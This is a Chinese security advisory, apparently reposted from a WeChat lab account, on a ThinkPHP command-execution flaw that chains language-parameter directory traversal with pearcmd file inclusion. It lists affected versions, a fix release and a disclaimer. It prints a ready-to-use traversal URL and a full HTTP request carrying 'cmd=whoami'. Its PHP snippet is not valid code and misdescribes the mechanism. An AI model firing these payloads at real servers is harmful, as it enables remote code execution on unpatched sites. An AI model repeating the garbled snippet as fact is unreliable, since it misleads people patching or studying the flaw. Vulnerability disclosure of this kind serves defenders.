0x01 ThinkPHP
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。
0x02 漏洞简介
近期,监测到ThinkPHP开发框架存在命令执行漏洞
0x03 漏洞详解
pearcmd 文件包含方法
<?php
$cmd = $_GET['cmd'];
$p = pearcmd;
$p -> run($cmd);
目录穿越
http://127.0.0.1:8888/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami
可以通过 get、header、cookie 等位置传入参数实现目录穿越和文件包含,从而利用 pearcmd 文件包含实现远程命令执行
通过构造特定的 URL,可以实现目录穿越和文件包含,然后利用 pearcmd 文件包含实现远程命令执行。这个漏洞可以在影响范围内的 Thinkphp 版本中利用,前提是需要开启多语言功能。
GET /index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
0x04 漏洞范围
-
v6.0.0<=ThinkPHP<=v6.0.13
-
v5.0.0<=ThinkPHP<=5.0.12
-
v5.1.0<=ThinkPHP<=5.1.8
0x05 漏洞信息
-
漏洞名称: ThinkPHP开发框架命令执行漏洞
-
漏洞编号:暂无
-
漏洞危害:高危 命令执行
-
漏洞poc:已知
-
漏洞exp:已知
-
在野利用:已知
0x06 漏洞修复
1. 建议受影响的ThinkPHP客户尽快安装 ThinkPHP V6.0.14 或更高版本,下载链接:
https://github.com/top-think/framework/releases/tag/v6.0.14
原文始发于微信公众号(火山信安实验室):【漏洞通报】ThinkPHP开发框架存在命令执行漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论